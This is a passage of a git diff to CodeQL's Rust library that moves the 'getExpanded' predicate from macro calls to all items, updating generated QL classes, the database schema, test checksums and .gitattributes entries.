cd72452713004690b77086163541fa319f8ab5faf503bb4a6a20bcaf2f790d38 4d72e891c5fac6e491d9e18b87ecf680dc423787d6b419da8f700fe1a14bc26f @@ -1111,19 +1122,21 @@ test/extractor-tests/generated/TokenTree/TokenTree.ql ba2ef197e0566640b57503579f test/extractor-tests/generated/Trait/AssocItemList.ql 0ea572b1350f87cc09ce4dc1794b392cc9ad292abb8439c106a7a1afe166868b 6e7493a3ace65c68b714e31234e149f3fc44941c3b4d125892531102b1060b2f test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.ql 8149d905f6fc6caeb51fa1ddec787d0d90f4642687461c7b1a9d4ab93a27d65d 8fb9caad7d88a89dd71e5cc8e17496afbdf33800e58179f424ef482b1b765bb1 test/extractor-tests/generated/Trait/AssocItemList_getAttr.ql 06526c4a28fd4fdce04ca15fbadc2205b13dcc2d2de24177c370d812e02540e6 79c8ce6e1f8acc1aaca498531e2c1a0e7e2c0f2459d7fc9fe485fd82263c433f -test/extractor-tests/generated/Trait/Trait.ql e88ff04557cf050a5acb5038537bb4f7a444c85721eaf3e0aa4c10e7e7724c56 e37b9e60fa8cc64ef9e8db1707d2d8c5a62f9804233c939b4aaa39762b9b0a9a +test/extractor-tests/generated/Trait/Trait.ql a7407c80d297ba0b7651ae5756483c8d81874d20af4123552d929870e9125d13 62e45d36c9791702bc9d4a26eb04f22fe713d120a8e00fe6131032b081bad9f4 test/extractor-tests/generated/Trait/Trait_getAssocItemList.ql 05e6896f60afabf931a244e42f75ee55e09c749954a751d8895846de3121f58f def1f07d9945e8d9b45a659a285b0eb72b37509d20624c88e0a2d34abf7f0c72 test/extractor-tests/generated/Trait/Trait_getAttr.ql 9711125fa4fc0212b6357f06d1bc50df50b46168d139b649034296c64d732e21 901b6a9d04055b563f13d8742bd770c76ed1b2ccf9a7236a64de9d6d287fbd52 test/extractor-tests/generated/Trait/Trait_getCrateOrigin.ql d8433d63bb2c4b3befaaedc9ce862d1d7edcdf8b83b3fb5529262fab93880d20 3779f2678b3e00aac87259ecfe60903bb564aa5dbbc39adc6c98ad70117d8510 +test/extractor-tests/generated/Trait/Trait_getExpanded.ql 4a6912b74ad6cbfce27c6ffdff781271d182a91a4d781ee02b7ac35b775d681b 14c8df06c3909c9986fc238229208e87b39b238890eb5766af2185c36e3b00c9 test/extractor-tests/generated/Trait/Trait_getExtendedCanonicalPath.ql a2bd16e84f057ed8cb6aae3e2a117453a6e312705302f544a1496dbdd6fcb3e6 b4d419045430aa7acbc45f8043acf6bdacd8aff7fdda8a96c70ae6c364c9f4d1 test/extractor-tests/generated/Trait/Trait_getGenericParamList.ql b27ff28e3aff9ec3369bbbcbee40a07a4bd8af40928c8c1cb7dd1e407a88ffee 2b48e2049df18de61ae3026f8ab4c3e9e517f411605328b37a0b71b288826925 test/extractor-tests/generated/Trait/Trait_getName.ql d4ff3374f9d6068633bd125ede188fcd3f842f739ede214327cd33c3ace37379 3dcf91c303531113b65ea5205e9b6936c5d8b45cd3ddb60cd89ca7e49f0f00c1 test/extractor-tests/generated/Trait/Trait_getTypeBoundList.ql 8a4eb898424fe476db549207d67ba520999342f708cbb89ee0713e6bbf1c050d 69d01d97d161eef86f24dd0777e510530a4db5b0c31c760a9a3a54f70d6dc144 test/extractor-tests/generated/Trait/Trait_getVisibility.ql 8f4641558effd13a96c45d902e5726ba5e78fc9f39d3a05b4c72069993c499f4 553cf299e7d60a242cf44f2a68b8349fd8666cc4ccecab5ce200ce44ad244ba9 test/extractor-tests/generated/Trait/Trait_getWhereClause.ql b34562e7f9ad9003d2ae1f3a9be1b5c141944d3236eae3402a6c73f14652e8ad 509fa3815933737e8996ea2c1540f5d7f3f7de21947b02e10597006967efc9d1 -test/extractor-tests/generated/TraitAlias/TraitAlias.ql 8870048164ba3c3ea8d4c10e5793d860a4ed3ef0890bf32409827321ddde4b72 9a912ebba80977656e74e1d94478c193164684f01371e23f09817231b58007ff +test/extractor-tests/generated/TraitAlias/TraitAlias.ql 6ba52527c90cd067ce3a48bb5051ba94c3c108444d428244622d381c1264ba55 76acb3a91331fa55c390a1cf2fd70a35052d9019b0216f5e00271ee367607d33 test/extractor-tests/generated/TraitAlias/TraitAlias_getAttr.ql 128c24196bfa6204fffd4154ff6acebd2d1924bb366809cdb227f33d89e185c8 56e8329e652567f19ef7d4c4933ee670a27c0afb877a0fab060a0a2031d8133e test/extractor-tests/generated/TraitAlias/TraitAlias_getCrateOrigin.ql 303212122021da7f745050c5de76c756461e5c6e8f4b20e26c43aa63d821c2b6 fdbd024cbe13e34265505147c6faffd997e5c222386c3d9e719cd2a385bde51c +test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql 8767d1ffb0a9c1e84c39907d3ab5456aff146e877f7bfe905786ff636a39acd9 9467a2b63f32b84501f4aa1ce1e0fc822845a9239216b9ebf4eaf0c23d6d27f3 test/extractor-tests/generated/TraitAlias/TraitAlias_getExtendedCanonicalPath.ql 601b6b0e5e7e7f2926626866085d9a4a9e31dc575791e9bd0019befc0e397193 9bd325414edc35364dba570f6eecc48a8e18c4cbff37d32e920859773c586319 test/extractor-tests/generated/TraitAlias/TraitAlias_getGenericParamList.ql 5a40c1760fcf5074dc9e9efa1a543fc6223f4e5d2984923355802f91edb307e4 9fd7ab65c1d6affe19f96b1037ec3fb9381e90f602dd4611bb958048710601fa test/extractor-tests/generated/TraitAlias/TraitAlias_getName.ql e91fa621774b9467ae820f3c408191ac75ad33dd73bcd417d299006a84c1a069 113e0c5dd2e3ac2ddb1fd6b099b9b5c91d5cdd4a02e62d4eb8e575096f7f4c6a @@ -1151,9 +1164,10 @@ test/extractor-tests/generated/TupleStructPat/TupleStructPat_getResolvedCrateOri test/extractor-tests/generated/TupleStructPat/TupleStructPat_getResolvedPath.ql 150898b6e55cc74b9ddb947f136b5a7f538ee5598928c5724d80e3ddf93ae499 66e0bd7b32df8f5bbe229cc02be6a07cb9ec0fe8b444dad3f5b32282a90551ee test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.ql 2f99917a95a85a932f423cba5a619a51cada8e704b93c54b0a8cb5d7a1129fa1 759bd02347c898139ac7dabe207988eea125be24d3e4c2282b791ec810c16ea7 test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.ql 615acfcbc475b5c2ffa8e46d023fc2e19d29ee879b4949644a7f0b25c33125e6 81b037af5dcb8a0489a7a81a0ad668ca781b71d4406c123c4f1c4f558722f13e -test/extractor-tests/generated/TypeAlias/TypeAlias.ql 637d4c982691942fabcc99ef4a1765ec794d1271bdd376addb55c9d7ea31230e ef81773e2f1260f66f23ce537080c3273b1cf74f96fba37403d34dc1ee1e0458 +test/extractor-tests/generated/TypeAlias/TypeAlias.ql b7c4adb8322a2032657f4417471e7001dbe8236da79af963d6ac5ddf6c4e7c8a 7504a27f32fd76520398c95abd6adeca67be5b71ff4b8abdd086eb29c0d698fc test/extractor-tests/generated/TypeAlias/TypeAlias_getAttr.ql ecf4b45ef4876e46252785d2e42b11207e65757cdb26e60decafd765e7b03b49 21bb4d635d3d38abd731b9ad1a2b871f8e0788f48a03e9572823abeea0ea9382 test/extractor-tests/generated/TypeAlias/TypeAlias_getCrateOrigin.ql cd66db5b43bcb46a6cf6db8c262fd524017ef67cdb67c010af61fab303e3bc65 2aebae618448530ec537709c5381359ea98399db83eeae3be88825ebefa1829d +test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql dc797269de5b29409484577d4f2e4de9462a1001232a57c141c1e9d3f0e7ad74 d2c3d55fcdf077523ceb899d11d479db15b449b5e82eb8610cb637ae79ef74e6 test/extractor-tests/generated/TypeAlias/TypeAlias_getExtendedCanonicalPath.ql fe9c4132e65b54eb071b779e508e9ed0081d860df20f8d4748332b45b7215fd5 448c10c3f8f785c380ce430996af4040419d8dccfa86f75253b6af83d2c8f1c9 test/extractor-tests/generated/TypeAlias/TypeAlias_getGenericParamList.ql e7e936458dce5a8c6675485a49e2769b6dbff29c112ed744c880e0fc7ae740ef e5fcf3a33d2416db6b0a73401a3cbc0cece22d0e06794e01a1645f2b3bca9306 test/extractor-tests/generated/TypeAlias/TypeAlias_getName.ql 757deb3493764677de3eb1ff7cc119a469482b7277ed01eb8aa0c38b4a8797fb 5efed24a6968544b10ff44bfac7d0432a9621bde0e53b8477563d600d4847825 @@ -1176,18 +1190,20 @@ test/extractor-tests/generated/TypeParam/TypeParam_getName.ql 9d5b6d6a9f2a5793e2 test/extractor-tests/generated/TypeParam/TypeParam_getTypeBoundList.ql 080a6b370ad460bf128fdfd632aa443af2ad91c3483e192ad756eb234dbfa4d8 8b048d282963f670db357f1eef9b8339f83d03adf57489a22b441d5c782aff62 test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr.ql 4ad6ed0c803fb4f58094a55b866940b947b16259756c674200172551ee6546e0 d3270bdcc4c026325159bd2a59848eb51d96298b2bf21402ea0a83ac1ea6d291 test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr_getAttr.ql d8502be88bcd97465f387c410b5078a4709e32b2baa556a4918ea5e609c40dd7 b238dc37404254e3e7806d50a7b1453e17e71da122931331b16a55853d3a843f -test/extractor-tests/generated/Union/Union.ql 2cbbdf085667e0741322cd21288d7987d6bdba72fb1b930aaf589494f5f9ea5e 2e64f70926141ea56aa14cc3122c522407f2f45ab9dc364ef4a3e3caf171befa +test/extractor-tests/generated/Union/Union.ql ef8005f4ac5d3e6f308b3bb1a1861403674cbb1b72e6558573e9506865ae985e 88933d0f9500ce61a847fbb792fd778d77a4e7379fc353d2a9f5060773eda64f test/extractor-tests/generated/Union/Union_getAttr.ql 42fa0878a6566208863b1d884baf7b68b46089827fdb1dbbfacbfccf5966a9a2 54aa94f0281ca80d1a4bdb0e2240f4384af2ab8d50f251875d1877d0964579fc test/extractor-tests/generated/Union/Union_getCrateOrigin.ql c218308cf17b1490550229a725542d248617661b1a5fa14e9b0e18d29c5ecc00 e0489242c8ff7aa4dbfdebcd46a5e0d9bea0aa618eb0617e76b9b6f863a2907a +test/extractor-tests/generated/Union/Union_getExpanded.ql a096814a812662a419b50aa9fd66ab2f6be9d4471df3d50351e9d0bcf061f194 51b406644ee819d74f1b80cdb3a451fa1fad6e6a65d89fa6e3dc87516d9d4292 test/extractor-tests/generated/Union/Union_getExtendedCanonicalPath.ql 6268ddb68c3e05906e3fc85e40635925b84e5c7290746ded9c6814d362033068 04473b3b9891012e95733463018db8da0e96659ea0b10458b33dc857c091d278 test/extractor-tests/generated/Union/Union_getGenericParamList.ql c55156ae26b766e385be7d21e67f8c3c45c29274201c93d660077fcc47e1ceee 4c4d338e17c32876ef6e51fd19cff67d125dd89c10e939dfaadbac824bef6a68 test/extractor-tests/generated/Union/Union_getName.ql 17247183e1a8c8bbb15e67120f65ca323630bddeb614fa8a48e1e74319f8ed37 e21c2a0205bc991ba86f3e508451ef31398bdf5441f6d2a3f72113aaae9e152b test/extractor-tests/generated/Union/Union_getStructFieldList.ql ae42dec53a42bcb712ec5e94a3137a5c0b7743ea3b635e44e7af8a0d59e59182 61b34bb8d6e05d9eb34ce353eef7cc07c684179bf2e3fdf9f5541e04bef41425 test/extractor-tests/generated/Union/Union_getVisibility.ql 86628736a677343d816e541ba76db02bdae3390f8367c09be3c1ff46d1ae8274 6514cdf4bfad8d9c968de290cc981be1063c0919051822cc6fdb03e8a891f123 test/extractor-tests/generated/Union/Union_getWhereClause.ql 508e68ffa87f4eca2e2f9c894d215ea76070d628a294809dc267082b9e36a359 29da765d11794441a32a5745d4cf594495a9733e28189d898f64da864817894f -test/extractor-tests/generated/Use/Use.ql b20f6221e6ee731718eb9a02fa765f298ad285f23393a3df0119707c48edd8b3 9ab45d9b3c51c6181a6609b72ebd763c336fee01b11757e7f044257510bd7f3f +test/extractor-tests/generated/Use/Use.ql 9a0a5efb8118830355fb90bc850de011ae8586c12dce92cfc8f39a870dd52100 7fd580282752a8e6a8ea9ac33ff23a950304030bc32cfbd3b9771368723fb8d6 test/extractor-tests/generated/Use/Use_getAttr.ql 6d43c25401398108553508aabb32ca476b3072060bb73eb07b1b60823a01f964 84e6f6953b4aa9a7472082f0a4f2df26ab1d157529ab2c661f0031603c94bb1d test/extractor-tests/generated/Use/Use_getCrateOrigin.ql 912ebc1089aa3390d4142a39ea73d5490eae525d1fb51654fdd05e9dd48a94b6 c59e36362016ae536421e6d517889cea0b2670818ea1f9e997796f51a9b381e2 +test/extractor-tests/generated/Use/Use_getExpanded.ql 386631ee0ee002d3d6f7f6e48c87d2bb2c4349aa3692d16730c0bc31853b11cf 50e03f47cc1099d7f2f27724ea82d3b69b85e826b66736361b0cbeceb88f88a4 test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql ccfde95c861cf4199e688b6efeeee9dab58a27cfecd520e39cc20f89143c03c9 6ff93df4134667d7cb74ae7efe102fe2db3ad4c67b4b5a0f8955f21997806f16 test/extractor-tests/generated/Use/Use_getUseTree.ql 1dfe6bb40b29fbf823d67fecfc36ba928b43f17c38227b8eedf19fa252edf3af aacdcc4cf418ef1eec267287d2af905fe73f5bcfb080ef5373d08da31c608720 test/extractor-tests/generated/Use/Use_getVisibility.ql 587f80acdd780042c48aeb347004be5e9fd9df063d263e6e4f2b660c48c53a8f 0c2c04f95838bca93dfe93fa208e1df7677797efc62b4e8052a4f9c5d20831dd diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 382565f3b86b..9fb82167e791 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -742,6 +742,7 @@ /test/extractor-tests/generated/Const/Const_getAttr.ql linguist-generated /test/extractor-tests/generated/Const/Const_getBody.ql linguist-generated /test/extractor-tests/generated/Const/Const_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Const/Const_getExpanded.ql linguist-generated /test/extractor-tests/generated/Const/Const_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Const/Const_getName.ql linguist-generated /test/extractor-tests/generated/Const/Const_getTypeRepr.ql linguist-generated @@ -764,6 +765,7 @@ /test/extractor-tests/generated/Enum/Enum.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getAttr.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Enum/Enum_getExpanded.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getName.ql linguist-generated @@ -776,11 +778,13 @@ /test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getAttr.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getAttr.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getRename.ql linguist-generated @@ -825,6 +829,7 @@ /test/extractor-tests/generated/Function/Function_getAttr.ql linguist-generated /test/extractor-tests/generated/Function/Function_getBody.ql linguist-generated /test/extractor-tests/generated/Function/Function_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Function/Function_getExpanded.ql linguist-generated /test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Function/Function_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Function/Function_getName.ql linguist-generated @@ -849,6 +854,7 @@ /test/extractor-tests/generated/Impl/Impl_getAssocItemList.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getAttr.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Impl/Impl_getExpanded.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getSelfTy.ql linguist-generated @@ -908,6 +914,7 @@ /test/extractor-tests/generated/MacroDef/MacroDef_getAttr.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getBody.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getName.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.ql linguist-generated @@ -920,6 +927,7 @@ /test/extractor-tests/generated/MacroRules/MacroRules.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getAttr.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getName.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.ql linguist-generated @@ -958,6 +966,7 @@ /test/extractor-tests/generated/Module/Module.ql linguist-generated /test/extractor-tests/generated/Module/Module_getAttr.ql linguist-generated /test/extractor-tests/generated/Module/Module_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Module/Module_getExpanded.ql linguist-generated /test/extractor-tests/generated/Module/Module_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Module/Module_getItemList.ql linguist-generated /test/extractor-tests/generated/Module/Module_getName.ql linguist-generated @@ -1059,6 +1068,7 @@ /test/extractor-tests/generated/Static/Static_getAttr.ql linguist-generated /test/extractor-tests/generated/Static/Static_getBody.ql linguist-generated /test/extractor-tests/generated/Static/Static_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Static/Static_getExpanded.ql linguist-generated /test/extractor-tests/generated/Static/Static_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Static/Static_getName.ql linguist-generated /test/extractor-tests/generated/Static/Static_getTypeRepr.ql linguist-generated @@ -1070,6 +1080,7 @@ /test/extractor-tests/generated/Struct/Struct.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getAttr.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Struct/Struct_getExpanded.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getFieldList.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getGenericParamList.ql linguist-generated @@ -1117,6 +1128,7 @@ /test/extractor-tests/generated/Trait/Trait_getAssocItemList.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getAttr.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Trait/Trait_getExpanded.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getName.ql linguist-generated @@ -1126,6 +1138,7 @@ /test/extractor-tests/generated/TraitAlias/TraitAlias.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getAttr.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getName.ql linguist-generated @@ -1156,6 +1169,7 @@ /test/extractor-tests/generated/TypeAlias/TypeAlias.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getAttr.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getName.ql linguist-generated @@ -1181,6 +1195,7 @@ /test/extractor-tests/generated/Union/Union.ql linguist-generated /test/extractor-tests/generated/Union/Union_getAttr.ql linguist-generated /test/extractor-tests/generated/Union/Union_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Union/Union_getExpanded.ql linguist-generated /test/extractor-tests/generated/Union/Union_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Union/Union_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Union/Union_getName.ql linguist-generated @@ -1190,6 +1205,7 @@ /test/extractor-tests/generated/Use/Use.ql linguist-generated /test/extractor-tests/generated/Use/Use_getAttr.ql linguist-generated /test/extractor-tests/generated/Use/Use_getCrateOrigin.ql linguist-generated +/test/extractor-tests/generated/Use/Use_getExpanded.ql linguist-generated /test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Use/Use_getUseTree.ql linguist-generated /test/extractor-tests/generated/Use/Use_getVisibility.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index 12ef6847b821..8631e242e823 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -1818,16 +1818,6 @@ module MakeCfgNodes Input> { * Holds if `getTokenTree()` exists. */ predicate hasTokenTree() { exists(this.getTokenTree()) } - - /** - * Gets the expanded of this macro call, if it exists. - */ - AstNode getExpanded() { result = node.getExpanded() } - - /** - * Holds if `getExpanded()` exists. - */ - predicate hasExpanded() { exists(this.getExpanded()) } } final private class ParentMacroExpr extends ParentAstNode, MacroExpr { diff --git a/rust/ql/lib/codeql/rust/elements/Item.qll b/rust/ql/lib/codeql/rust/elements/Item.qll index b95620551bad..30c11c6481e4 100644 --- a/rust/ql/lib/codeql/rust/elements/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/Item.qll @@ -5,6 +5,7 @@ private import internal.ItemImpl import codeql.rust.elements.Addressable +import codeql.rust.elements.AstNode import codeql.rust.elements.Stmt /** diff --git a/rust/ql/lib/codeql/rust/elements/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/MacroCall.qll index b0985ea3fed8..5399f1f2a872 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroCall.qll @@ -5,7 +5,6 @@ private import internal.MacroCallImpl import codeql.rust.elements.AssocItem -import codeql.rust.elements.AstNode import codeql.rust.elements.Attr import codeql.rust.elements.ExternItem import codeql.rust.elements.Item diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll index 39149c252587..e93d25f86f33 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll @@ -7,6 +7,7 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.internal.AddressableImpl::Impl as AddressableImpl +import codeql.rust.elements.AstNode import codeql.rust.elements.internal.StmtImpl::Impl as StmtImpl /** @@ -22,5 +23,17 @@ module Generated { * INTERNAL: Do not reference the `Generated::Item` class directly. * Use the subclass `Item`, where the following predicates are available. */ - class Item extends Synth::TItem, StmtImpl::Stmt, AddressableImpl::Addressable { } + class Item extends Synth::TItem, StmtImpl::Stmt, AddressableImpl::Addressable { + /** + * Gets the expanded attribute or procedural macro call of this item, if it exists. + */ + AstNode getExpanded() { + result = Synth::convertAstNodeFromRaw(Synth::convertItemToRaw(this).(Raw::Item).getExpanded()) + } + + /** + * Holds if `getExpanded()` exists. + */ + final predicate hasExpanded() { exists(this.getExpanded()) } + } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll index d95a29cd3029..30717a1a3919 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll @@ -7,7 +7,6 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.internal.AssocItemImpl::Impl as AssocItemImpl -import codeql.rust.elements.AstNode import codeql.rust.elements.Attr import codeql.rust.elements.internal.ExternItemImpl::Impl as ExternItemImpl import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl @@ -77,20 +76,5 @@ module Generated { * Holds if `getTokenTree()` exists. */ final predicate hasTokenTree() { exists(this.getTokenTree()) } - - /** - * Gets the expanded of this macro call, if it exists. - */ - AstNode getExpanded() { - result = - Synth::convertAstNodeFromRaw(Synth::convertMacroCallToRaw(this) - .(Raw::MacroCall) - .getExpanded()) - } - - /** - * Holds if `getExpanded()` exists. - */ - final predicate hasExpanded() { exists(this.getExpanded()) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll index 4268ef3f8409..d84b28f91173 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll @@ -2204,18 +2204,21 @@ private module Impl { } private Element getImmediateChildOfItem(Item e, int index, string partialPredicateCall) { - exists(int b, int bStmt, int bAddressable, int n | + exists(int b, int bStmt, int bAddressable, int n, int nExpanded | b = 0 and bStmt = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfStmt(e, i, _)) | i) and bAddressable = bStmt + 1 + max(int i | i = -1 or exists(getImmediateChildOfAddressable(e, i, _)) | i) and n = bAddressable and + nExpanded = n + 1 and ( none() or result = getImmediateChildOfStmt(e, index - b, partialPredicateCall) or result = getImmediateChildOfAddressable(e, index - bStmt, partialPredicateCall) + or + index = n and result = e.getExpanded() and partialPredicateCall = "Expanded()" ) ) } @@ -3495,8 +3498,7 @@ private module Impl { private Element getImmediateChildOfMacroCall(MacroCall e, int index, string partialPredicateCall) { exists( - int b, int bAssocItem, int bExternItem, int bItem, int n, int nAttr, int nPath, - int nTokenTree, int nExpanded + int b, int bAssocItem, int bExternItem, int bItem, int n, int nAttr, int nPath, int nTokenTree | b = 0 and bAssocItem = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAssocItem(e, i, _)) | i) and @@ -3507,7 +3509,6 @@ private module Impl { nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and nPath = nAttr + 1 and nTokenTree = nPath + 1 and - nExpanded = nTokenTree + 1 and ( none() or @@ -3523,8 +3524,6 @@ private module Impl { index = nAttr and result = e.getPath() and partialPredicateCall = "Path()" or index = nPath and result = e.getTokenTree() and partialPredicateCall = "TokenTree()" - or - index = nTokenTree and result = e.getExpanded() and partialPredicateCall = "Expanded()" ) ) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 3bd57ae98620..275f143083a5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -2180,7 +2180,12 @@ module Raw { * todo!() * ``` */ - class Item extends @item, Stmt, Addressable { } + class Item extends @item, Stmt, Addressable { + /** + * Gets the expanded attribute or procedural macro call of this item, if it exists. + */ + AstNode getExpanded() { item_expandeds(this, result) } + } /** * INTERNAL: Do not use. @@ -3620,11 +3625,6 @@ module Raw { * Gets the token tree of this macro call, if it exists. */ TokenTree getTokenTree() { macro_call_token_trees(this, result) } - - /** - * Gets the expanded of this macro call, if it exists. - */ - AstNode getExpanded() { macro_call_expandeds(this, result) } } /** diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme index e8707b675dc5..f78cb8f2ab3b 100644 --- a/rust/ql/lib/rust.dbscheme +++ b/rust/ql/lib/rust.dbscheme @@ -1959,6 +1959,12 @@ infer_type_reprs( | @use ; +#keyset[id] +item_expandeds( + int id: @item ref, + int expanded: @ast_node ref +); + @labelable_expr = @block_expr | @looping_expr @@ -3082,12 +3088,6 @@ macro_call_token_trees( int token_tree: @token_tree ref ); -#keyset[id] -macro_call_expandeds( - int id: @macro_call ref, - int expanded: @ast_node ref -); - macro_defs( unique int id: @macro_def ); diff --git a/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/old.dbscheme 